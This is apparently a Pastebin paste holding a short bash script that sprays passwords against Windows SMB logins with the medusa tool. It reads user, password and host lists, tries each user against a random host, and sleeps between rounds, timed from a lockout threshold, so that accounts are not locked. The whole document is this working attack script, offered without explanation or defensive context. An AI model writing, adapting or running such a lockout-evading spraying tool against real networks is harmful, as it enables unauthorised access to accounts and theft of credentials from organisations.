Advertisement
Guest User

Untitled

a guest
Aug 21st, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.67 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. LOCKOUT_THRESH='30'
  4. EXTRA='5'
  5. LOOPS='3'
  6.  
  7. USER_FILE=$1
  8. PASS_FILE=$2
  9. HOST_FILE=$3
  10. #DOMAIN=$4
  11.  
  12. LOCKOUT_TIME=$((((LOCKOUT_THRESH + EXTRA) * 60) / LOOPS))
  13.  
  14. cat $PASS_FILE | while read PASS; do
  15.     START=$(date +'%s')
  16.  
  17.     cat $USER_FILE | while read USERNAME; do
  18.         HOST=$(sort -R $HOST_FILE | head -1)
  19.         medusa -M smbnt -h $HOST -u $USERNAME -p $PASS -m GROUP:DOMAIN
  20.     done
  21.  
  22.     STOP=$(date +'%s')
  23.  
  24.     TIME_SPENT=$((STOP - START))
  25.     TIME_LEFT=$((LOCKOUT_TIME - TIME_SPENT))
  26.  
  27.     if [[ $TIME_LEFT -gt 0 ]]; then
  28.         echo
  29.         echo "######### Sleeping $TIME_LEFT seconds"
  30.         echo
  31.         sleep $TIME_LEFT
  32.     fi
  33. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement